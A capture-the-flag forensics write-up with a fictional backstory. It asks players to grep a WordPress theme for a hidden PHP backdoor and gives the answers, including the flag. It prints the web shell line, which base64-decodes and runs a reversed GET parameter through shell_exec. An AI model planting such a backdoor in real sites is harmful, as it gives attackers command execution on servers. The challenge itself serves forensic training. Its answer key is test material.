



Mission Name

FindtheCitizen

History Background

Ethan enters the Lazarus citizens' page to clean the level 7 card so he must log in via the web with those credentials. Ethan hacked the site, and he modified the site deploying a backdoor.

Technical High-Level Overview

Claire must get the name and address of the level 7 citizen in each time. Even if she does this in the given time, she will always be kicked out of the system.

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Location

- Latitud/Longitud: SYLVARCON | EBAND DEPARTMENT - RECON HQ



Tools

- CAT
- GREP

Credentials

- N/A

Questions

Which is the name of Wordpress theme hacked ?

- Business hub

Which is the version of Wordpress theme hacked ?

- 1.0.5

Which type of obfuscation was used to receive commands?

- Base64

Items

1. Use grep command to find \$_GET variables
2. Use grep command to find \$_GET variables and PHP functions which allow to execute commands on the operating system.
3. Use grep command to find "shell_exec"

Write Up

Player must use command tools to locate a hidden backdoor. In this case, Ethan modified a footer php of a WordPress theme. So, the key here is to know what methods are easy to put on a PHP file, in order to execute commands from GET requests. Shell exec is one of them:

```
jmma@demowindows:/mnt/c/Thratia_2/Evidence$ grep -ir "\$_GET" . | grep "shell_exec"
./wp-content/themes/business-hub/footer.php:
    $ticket = shell_exec(base64_decode(strrev($_GET["ticket_id"])));
jmma@demowindows:/mnt/c/Thratia_2/Evidence$
```

Figure 1

`\$_GET["ticket_id"]` is the GET request which allow to receive commands:

```
<?php
    $ticket = shell_exec(base64_decode(strrev($_GET["ticket_id"])));
    echo "<p style ='font:11px/21px Arial,tahoma,sans-serif;color:#0c2433'> $ticket </p>";
?>
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Flag Information

flag{ticket_id}